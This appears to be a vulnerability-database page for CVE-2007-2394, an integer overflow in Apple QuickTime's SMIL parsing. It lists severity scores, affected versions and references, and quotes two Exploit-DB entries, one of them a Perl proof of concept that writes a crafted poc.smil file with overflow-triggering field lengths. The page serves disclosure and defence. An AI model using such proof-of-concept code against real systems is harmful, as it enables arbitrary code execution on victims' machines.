CVE-2007-2394
published 2007-07-15CVE-2007-2394: Integer overflow in Apple Quicktime before 7.2 on Mac OS X 10.3.9 and 10.4.9 allows user-assisted remote attackers to execute arbitrary code via crafted (1)…
PriorityP346critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
12.14%
95.7th percentile
Integer overflow in Apple Quicktime before 7.2 on Mac OS X 10.3.9 and 10.4.9 allows user-assisted remote attackers to execute arbitrary code via crafted (1) title and (2) author fields in an SMIL file, related to improper calculations for memory allocation.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
| apple | quicktime | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Apple QuickTime < 7.2 - SMIL Remote Integer Overflow
exploitdb·2007-09-03·CVSS 9.3
CVE-2007-2394 [CRITICAL] Apple QuickTime < 7.2 - SMIL Remote Integer Overflow
Apple QuickTime
SRC="available-sample.qtif"
QTSRC="poc.smil"
WIDTH="10" HEIGHT="10"
PLUGINSPAGE=" www.apple.com/quicktime/download"
TYPE="video/quicktime"
/>
PROOF OF CONCEPT
#!/usr/bin/perl -w
####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes
####
$file = " poc.smil";
$padd = "x";
$cop_len = 36;
####
# By choosing the following lengths the
# integer overflow will be triggered.
####
$tit_len = 223;
$auth_len = 65280;
open(FH,">$file") or die "Can't open file:$!";
print FH
"\n".
"\n".
" \n".
" \n".
" \n".
"\n".
"";
close(FH);
# milw0rm.com [2007-09-03]
Exploit-DB
Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities
exploitdb·2007-07-11·CVSS 9.3
CVE-2007-2394 [CRITICAL] Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities
Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities
---
source: https://www.securityfocus.com/bid/24873/info
Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities.
Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites.
Successful exploits may allow attackers to execute arbitrary code in the context of a user running the vulnerable application or to obtain sensitive information. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks.
ATTACK VECTORS
This vulnerability can be triggered
No writeups or analysis indexed.
http://docs.info.apple.com/article.html?artnum=305947http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556http://lists.apple.com/archives/Security-announce/2007/Jul/msg00001.htmlhttp://osvdb.org/36134http://secunia.com/advisories/26034http://www.securityfocus.com/archive/1/473882/100/100/threadedhttp://www.securityfocus.com/bid/24873http://www.securitytracker.com/id?1018373http://www.us-cert.gov/cas/techalerts/TA07-193A.htmlhttp://www.vupen.com/english/advisories/2007/2510https://exchange.xforce.ibmcloud.com/vulnerabilities/35357http://docs.info.apple.com/article.html?artnum=305947http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556http://lists.apple.com/archives/Security-announce/2007/Jul/msg00001.htmlhttp://osvdb.org/36134http://secunia.com/advisories/26034http://www.securityfocus.com/archive/1/473882/100/100/threadedhttp://www.securityfocus.com/bid/24873http://www.securitytracker.com/id?1018373http://www.us-cert.gov/cas/techalerts/TA07-193A.htmlhttp://www.vupen.com/english/advisories/2007/2510https://exchange.xforce.ibmcloud.com/vulnerabilities/35357
2007-07-15
Published